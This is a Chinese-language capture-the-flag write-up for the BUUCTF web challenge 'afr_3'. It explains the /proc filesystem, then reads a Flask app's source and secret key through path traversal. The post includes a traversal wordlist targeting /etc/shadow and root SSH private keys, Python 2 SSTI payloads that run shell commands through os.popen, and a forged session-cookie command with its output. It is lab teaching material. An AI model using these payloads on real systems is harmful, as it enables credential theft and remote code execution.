buuctf 刷題記錄 [第一章 web入門]afr_3


buuctf 刷題記錄 [第一章 web入門]afr_3

考點:本題考查對linux系統中/proc/目錄下文件作用的了解,同時考查了flask模板注入

關於/proc/目錄

Linux系統上的/proc目錄是一種文件系統,即proc文件系統。與其它常見的文件系統不同的是,/proc是一種偽文件系統(也即虛擬文件系統),存儲的是當前內核運行狀態的一系列特殊文件,用戶可以通過這些文件查看有關系統硬件及當前正在運行進程的信息,甚至可以通過更改其中某些文件來改變內核的運行狀態。

/proc/[pid]—當查看當前進程的時候可以用/proc/self代替
cmdline — 啟動當前進程的完整命令,但僵屍進程目錄中的此文件不包含任何信息
cwd — 指向當前進程運行目錄的一個符號鏈接
environ — 當前進程的環境變量列表,彼此間用空字符(NULL)隔開;變量用大寫字母表示,其值用小寫字母表示

ok,相關信息介紹到這,接下來開始正式getshell

文件讀取

RiFQCd.png
開始界面只有一個輸入框

隨便輸入寫什么東西就會返回一個包含article的頁面

RiFZDK.png

讀取一下flag試試

RiFJDf.png

沒有權限

那么在這種時候可以讀取什么呢

可以直接fuzzer一下
RiF6bT.png

RiF5x1.png
除了我選擇的那條數據外,其他的都是
RiFTr6.png

字典目錄:

..\..\..\..\..\..\..\..\..\..\boot.ini 
..\..\..\..\..\..\..\..\..\..\Windows\System32\inetsrv\MetaBase.xml 
..\..\..\..\..\..\..\..\..\..\Windows\repair\sam 
..\..\..\..\..\..\..\..\..\..\Program Files\mysql\my.ini 
..\..\..\..\..\..\..\..\..\..\Program Files\mysql\data\mysql\user.MYD 
..\..\..\..\..\..\..\..\..\..\Windows\php.ini 
..\..\..\..\..\..\..\..\..\..\Windows\my.ini 
../../../../../../../../root/.ssh/authorized_keys
../../../../../../../../root/.ssh/id_rsa
../../../../../../../../root/.ssh/id_rsa.keystore
../../../../../../../../root/.ssh/known_hosts
../../../../../../../../etc/passwd 
../../../../../../../../etc/shadow 
../../../../../../../../etc/my.cnf 
../../../../../../../../etc/httpd/conf/httpd.conf 
../../../../../../../../root/.bash_history 
../../../../../../../../root/.mysql_history 
../../../../../../../../proc/self/fd/fd[0-9]*
../../../../../../../../proc/mounts
../../../../../../../../proc/config.gz
../../../../../proc/self/cmdline

其中還包含了一部分Windows的

根據../../../../../proc/self/cmdline得出的信息可以知道
當前正在運行pythonserver.py

到這里其實就該想到了利用python的flask進行模板ssti注入,從而讀取flag

參考:

從零學習flask模板注入

那么現在根據/proc/的特性,可以讀取正在運行的pythonserver.py的源碼

name=../../../../../proc/self/cwd/server.py

RikloF.png
原理是使用proc指定self代表當前進程,然后cwd指向運行的文件pythonserver.py

python代碼雖然一坨了,但是還是可以看出大致邏輯的

可以看到執行了flag.pykey.py

RiAClR.png
好吧,沒有權限

SSTI

接下來考慮的是怎么樣獲得權限,去讀取flag
先讀一下key得到如下信息

RiAIHK.png

#!/usr/bin/python

key = 'Drmhze6EPcv0fN_81Bj-nA'

接下來使用flask_session_cookie_manager3去偽造cookie讀flag

ssti代碼:
{{''.__class__.__mro__[2].__subclasses__()[40]('flag.py').read()}}

ps:我感覺這些ssti的payload好像啊

注意,這里使用的是python2的ssti代碼

python3的ssti中的類的數量和python2不一樣

python3的ssti格式(與本題無關,本題是python2的)

{{''.__class__.__mro__[1].__subclasses__()}}

繼續本題

使用flask_session_cookie_manager3生成payload

python3 ./flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"

-s 指的是加密密鑰
-t 指的是加密密文(ssti)

payload:
.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.YM4agQ.nUmKAGlhSriciQXZZ_7z8GdRwOI

Riel8g.png
額。。。。這是什么情況。。不了解


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM